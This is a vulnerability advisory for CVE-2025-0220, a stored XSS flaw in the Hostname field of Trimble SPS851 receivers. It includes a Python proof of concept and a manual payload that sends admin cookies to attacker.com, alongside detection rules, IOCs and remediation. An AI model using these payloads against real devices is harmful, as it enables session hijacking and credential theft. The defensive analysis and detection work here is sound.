CVE-2025-0220
Executive Summary
CVE-2025-0220 is a stored cross-site scripting (XSS) vulnerability in the Ethernet Configuration Menu of Trimble SPS851 receivers running firmware version 488.01. The vulnerability allows an unauthenticated remote attacker to inject arbitrary JavaScript or HTML via the Hostname argument. Successful exploitation could lead to session hijacking, credential theft, or defacement of the device’s web interface. The vendor was contacted but did not respond, leaving the device in an unpatched state. Public exploit code is available, increasing the risk of active exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a Trimble GNSS receiver.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
- Base Score: 6.1 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must visit the crafted page)
- Scope: Unchanged
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium – Public exploit and no patch available.
Deep Dive & Mechanics
The Trimble SPS851 receiver exposes an Ethernet Configuration Menu accessible via HTTP. The Hostname parameter is not sanitized before being rendered in the web interface. An attacker can craft a malicious hostname containing JavaScript payloads. When an administrator or user views the configuration page, the payload executes in their browser context.
Root Cause: Lack of output encoding on the Hostname field.
Attack Flow:
- Attacker sends a POST request to the device’s configuration endpoint with a malicious
Hostnamevalue (e.g.,<script>alert('XSS')</script>). - The device stores the payload in its configuration.
- When a user navigates to the Ethernet Configuration page, the payload is rendered and executed.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
<input type="text" name="Hostname" value="<?php echo $_POST['Hostname']; ?>">
The value is directly echoed without sanitization.
Patched Code (Conceptual):
<input type="text" name="Hostname" value="<?php echo htmlspecialchars($_POST['Hostname'], ENT_QUOTES, 'UTF-8'); ?>">
The value is HTML-encoded before rendering.
Exploitation & Lab Setup
Red Team
Proof-of-Concept (Python):
import requests
target = "http://<TARGET_IP>/config"
payload = {"Hostname": "<script>alert('XSS')</script>"}
requests.post(target, data=payload)
print("Payload sent. Visit the Ethernet Configuration page to trigger XSS.")
Manual Exploitation:
- Access the device’s web interface.
- Navigate to Ethernet Configuration.
- Set the hostname to:
<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script> - Save the configuration.
- Wait for an admin to view the page, or trigger the page yourself.
Blue Team
Detection Steps:
- Monitor HTTP POST requests to
/configwith suspiciousHostnamevalues. - Look for unusual characters like
<,>,script,onerror, etc. - Check device logs for configuration changes.
Honeypot Setup:
- Deploy a fake Trimble SPS851 endpoint that logs all
Hostnamevalues. - Alert on any
Hostnamecontaining HTML/JavaScript.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST to
/configwithHostnamecontaining<script>oronerror. - Outbound HTTP requests from the device to attacker-controlled domains (cookie exfiltration).
- HTTP POST to
- Host IOCs:
- Unexpected JavaScript execution in the browser when viewing the Ethernet Configuration page.
- Modified
Hostnamefield in the device’s configuration.
Detection Engineering
YARA Rule
rule CVE_2025_0220_XSS_Hostname {
meta:
description = "Detects XSS payload in Hostname parameter for CVE-2025-0220"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2025-0220"
strings:
$xss_payload = /Hostname=.*<[^>]*script[^>]*>/
condition:
$xss_payload
}
Sigma Rule
title: CVE-2025-0220 XSS via Hostname Parameter
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects XSS attempts against Trimble SPS851 Ethernet Configuration
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query: '/config'
cs-uri-query|contains: 'Hostname='
cs-uri-query|re: 'Hostname=.*<[^>]*script[^>]*>'
condition: selection
falsepositives:
- Legitimate hostnames with special characters (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-0220 XSS in Hostname"; flow:to_server; content:"POST"; http_method; content:"/config"; http_uri; content:"Hostname="; http_client_body; pcre:"/Hostname=.*<[^>]*script[^>]*>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate affected devices from the internet and untrusted networks.
- Restrict access to the web interface via firewall rules (allow only trusted IPs).
- Disable the Ethernet Configuration Menu if not required.
Long-Term Fix:
- Since the vendor is unresponsive, consider replacing the device with a patched alternative.
- Implement a reverse proxy (e.g., Nginx) to sanitize
Hostnamevalues before they reach the device.
Workaround:
- Manually edit the device’s configuration file (if accessible) to remove any suspicious hostnames.
Valters IT